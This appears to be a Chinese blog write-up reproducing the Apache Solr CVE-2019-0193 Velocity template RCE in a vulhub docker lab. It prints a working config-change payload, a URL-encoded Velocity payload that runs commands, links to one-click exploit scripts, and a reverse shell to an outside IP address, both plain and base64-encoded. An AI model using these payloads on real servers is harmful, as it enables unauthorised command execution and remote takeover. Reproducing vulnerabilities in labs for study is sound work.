zoukankan      html  css  js  c++  java
  • 26.Apache Solr RCE

    多事之秋,刚爆出来shiro的RCE,紧接着solr服务器就出了RCE

    自从漏洞爆出来已经一段时间,复现漏洞多如牛毛,我这里来水一篇

    漏洞简介

    什么是solr服务器?

    Solr是一个独立的企业级搜索应用服务器,它对外提供类似于Web-service的API接口。用户可以通过http请求,向搜索引擎服务器提交一定格式的XML文件,生成索引;也可以通过Http Get操作提出查找请求,并得到XML格式的返回结果。

    漏洞产生的原因是什么?

     1.当攻击者可以直接访问Solr控制台时,可以通过发送类似/节点名/config的POST请求对该节点的配置文件做更改。

     2.Apache Solr默认集成VelocityResponseWriter插件,在该插件的初始化参数中的params.resource.loader.enabled这个选项是用来控制是否允许参数资源加载器在Solr请求参数中指定模版,默认设置是false。

    当设置params.resource.loader.enabled为true时,将允许用户通过设置请求中的参数来指定相关资源的加载,这也就意味着攻击者可以通过构造一个具有威胁的攻击请求,在服务器上进行命令执行。

                                                                                                                                                                       --------360CERT

    影响范围

    Apache Solr 5.x - 8.2.0,存在config API版本

    漏洞复现

    环境搭建

    本次依然使用P牛的vulhub docker镜像搭建

    git clone https://github.com/vulhub/vulhub.git

    cd vulhub/solr/CVE-2019-0193
    docker
    -compose up -d

    创建名为bmjoker的Core:

    docker-compose exec solr bash bin/solr create_core -c bmjoker -d example/example-DIH/solr/db

    搭建好后默认端口为8983,访问http://ip:8983 即可

    漏洞利用

    漏洞利用的前提是需要知道solr服务器中的core的名称才能执行攻击

    我这里手动创建了一个core节点:bmjoker

    当然漏洞产生原因是可以直接访问Solr控制台,通过发送类似 solr/节点名/config 的POST请求对该节点的配置文件做更改

    能进入控制台就能看见core节点的名称

    如果看不见的话,尝试去访问 /solr/admin/cores,就能看见创建的全部core节点名称,像这样

    构造POST请求,向 /solr/bmjoker/config 目录POST以下数据(来修改Core的配置)

    {
      "update-queryresponsewriter": {
        "startup": "lazy",
        "name": "velocity",
        "class": "solr.VelocityResponseWriter",
        "template.base.dir": "",
        "solr.resource.loader.enabled": "true",
        "params.resource.loader.enabled": "true"
    }
    }

    接下来使用网上爆出来的exp,尝试利用

    http://ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

    只执行一个id未免显得太寒酸

    还是大佬们手快,这一键利用脚本已经出来

    https://github.com/Eth4nHunt/Apache-Solr-RCE

    https://github.com/theLSA/solr-rce

    尝试利用,简直不要太舒服

    开始利用的时候本来想直接通过修改命令来弹shell

    bash -i >&/dev/tcp/47.107.136.25/9090 >&1

    在其他互联网环境的服务器上测试的时候,反弹shell很容易被分割中断,总是500服务器报错

    看了大牛的分析,原来是由于Runtime不能使用管道符等bash方法,所以需要进行编码

    bash -c{echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzQ3LjEwNy4xMzYuMjUvOTA5MCAwPiYx}|{base64,-d}|{bash,-i}

    按照p牛的解释:

    https://zsxq.tricking.io/topic/501/

     再次测试,发现反弹shell成功

    水文一篇

  • 相关阅读:
    uni-app 轮播图
    uni-app 头部及底部导航
    Eapp 创建项目及简单应用
    nodeJS学习笔记 express获得GET和POST请求参数
    Promise 之基础详细介绍
    动态代理个人理解
    springboot实现日志记录
    调节 alert confirm prompt 的位置
    打印日志文件
    Java正则速成秘籍(三)之见招拆招篇
  • 原文地址:https://www.cnblogs.com/bmjoker/p/11778478.html
Copyright © 2011-2022 走看看